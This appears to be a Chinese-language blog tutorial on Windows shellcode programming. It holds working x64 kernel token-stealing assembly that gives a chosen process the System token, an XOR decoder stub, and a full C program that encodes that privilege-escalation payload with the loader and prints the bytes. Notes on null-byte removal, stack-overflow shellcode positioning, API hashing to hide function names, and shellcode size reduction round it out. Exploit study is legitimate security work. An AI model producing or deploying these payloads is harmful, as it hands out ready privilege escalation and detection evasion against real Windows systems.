ShellCode编程

1.BypassUAC

1.1 伪造Token

原理:将待提权进程替换为System进程EPROCESS结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
	mov rcx, 0x1234									; Pid
push rbx
xor rbx, rbx
mov rdx, qword ptr gs:[188h] ; CurrentThread
mov rdx, qword ptr [rdx+220h] ; EProcess head
mov rax, rdx
mov r8, qword ptr [rdx+440h]
cmp r8, 4
jnz loop_begin
mov rbx, rdx
loop_begin:
mov rdx, qword ptr [rdx+448h] ; Next EProcess
sub rdx, 448h
cmp rdx, rax
jz ret
mov r8, qword ptr [rdx+440h]
cmp r8, rcx ; cmp goal pid
jnz loop_begin
mov r9, rdx

cmp rbx, 0
jnz replace
cmp r8, 4 ; cmp System pid
jnz loop_begin
mov rbx, rdx

replace:
mov rbx, qword ptr [rbx+4b8h]
mov qword ptr [r9+4b8h], rbx ; replace
ret:
pop rbx

1.2 修改ACL

Win10最新版已不能用

1.3 强制开启权限

Win10最新版已不能用

2.编程技巧

2.1 去除空字节

2.1.1 指令替换

1
2
3
4
原始指令
B8 00 00 00 00 mov eax, 0
替换指令
33 C0 xor eax, eax
1
2
3
4
5
原始指令
64:A1 30000000 mov eax, fs:[0x30]
替换指令
33 D8 xor ebx, ebx
64:8B43 30 mov eax, fs:[ebx+0x30]

2.1.2 栈转换

1
2
3
4
5
6
7
8
9
10
原始指令
8178 04 56341200 cmp dword ptr ds:[eax+4], 123456
替换指令
33 FF xor edi, edi
57 push edi
6A 12 push 0x12
68 56 34 00 00 push 0x3456
8B 3C 24 mov edi, dword ptr ss:[esp]
83 C4 0A add esp, 0xA
39 78 04 cmp dword ptr ds:[eax+4], edi

2.1.3 编码解码

函数式解码器,参数1为shellcode长度,解压加载器尾部的shellcode并跳转过去执行,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; rcx size_of_shellcode
decoder proc

jmp start
decode:
pop rax
add rax, 1
loop_begin:
xor byte ptr [rax], Fh
inc rax
loop loop_begin
sub rax, rcx
jmp rax
start:
call decode
ret

decoder endp

end

编写一个内核提权ShellCode生成器,代码如下:(用于异或的字符不能与ShellCode原始字符重复,否则会出现NULL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

unsigned char shellcode[] =
{
0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x53, 0x48, 0x33,
0xDB, 0x65, 0x48, 0x8B, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x92, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xC2,
0x4C, 0x8B, 0x82, 0x40, 0x04, 0x00, 0x00, 0x49, 0x83, 0xF8,
0x04, 0x75, 0x03, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0x92, 0x48,
0x04, 0x00, 0x00, 0x48, 0x81, 0xEA, 0x48, 0x04, 0x00, 0x00,
0x48, 0x3B, 0xD0, 0x74, 0x2C, 0x4C, 0x8B, 0x82, 0x40, 0x04,
0x00, 0x00, 0x4C, 0x3B, 0xC1, 0x75, 0xE1, 0x4C, 0x8B, 0xCA,
0x48, 0x83, 0xFB, 0x00, 0x75, 0x09, 0x49, 0x83, 0xF8, 0x04,
0x75, 0xD2, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0x9B, 0xB8, 0x04,
0x00, 0x00, 0x49, 0x89, 0x99, 0xB8, 0x04, 0x00, 0x00, 0x5B
};

unsigned char loader[] =
{
0xEB, 0x12, 0x58, 0x48, 0x83, 0xC0, 0x01, 0x80, 0x30, 0x0F,
0x48, 0xFF, 0xC0, 0xE2, 0xF8, 0x48, 0x2B, 0xC1, 0xFF, 0xE0,
0xE8, 0xE9, 0xFF, 0xFF, 0xFF, 0xC3
};

void gen_shellcode(int pid)
{

int loader_size = sizeof(loader);
int shellcode_size = sizeof(shellcode);

*(int*)&shellcode[3] = pid;

char* ptr_out = (char*)malloc(loader_size + shellcode_size);
memcpy(ptr_out, loader, loader_size);

for (int i = 0; i < shellcode_size; i++)
{
ptr_out[loader_size + i] = shellcode[i] ^ 0xf;
}

for (int i = 0; i < loader_size + shellcode_size; i++)
{
printf("0x%02x, ", (unsigned char)ptr_out[i]);
}
printf("\n");
if (ptr_out)
{
free(ptr_out);
ptr_out = NULL;
}
}


int main()
{
int pid = 0;
printf("Process pid: ");
scanf("%d", &pid);

gen_shellcode(pid);

return 0;
}

2.2 Shellcode定位

ShellCode中获取指令地址:

1
2
3
4
5
6
7
8
jmp get_entry
entry:
pop rax
; 此时rax保存shellcode地址
get_entry:
call entry
shellcode:
; code

栈溢出攻击时利用跳板定位ShellCode起始位置:

定位ShellCode起始位置

抬高栈顶保护shellcode,避免压栈破环自身:

抬高栈顶保护shellcode

2.3 获取Windows API

可以使用HASH来避免出现函数名

解析流程图:

解析模块链表示意图

2.4 ShellCode瘦身

  • 使用短、复合指令

    1
    2
    3
    4
    5
    6
    7
    xchg eax,reg 			交换 eax 和其他寄存器中的值
    lodsd 把 esi 指向的一个 dword 装入 eax,并且增加 esi
    lodsb 把 esi 指向的一个 byte 装入 al,并且增加 esi
    stosd
    stosb
    pushad/popad 从栈中存储/恢复所有寄存器的值
    cdq 用 edx 把 eax 扩展成四字。这条指令在 eax<0x80000000 时可用作 mov edx ,NULL
  • 栈首初始化大块0区域,避免频繁使用清0指令

  • 使用栈中的垃圾数据

  • 使用ebp

  • ShellCode代码当作数据来用

  • hash函数名对比,并根据需求选择合适的hash长度,可以容忍碰撞

2.5 VS开发ShellCode

Exploit开发系列教程-Windows基础&shellcode - P3nro5e (seebug.org)


ShellCode编程
http://helloymf.github.io/2022/10/22/shellcode-bian-cheng/
作者
JNZ
许可协议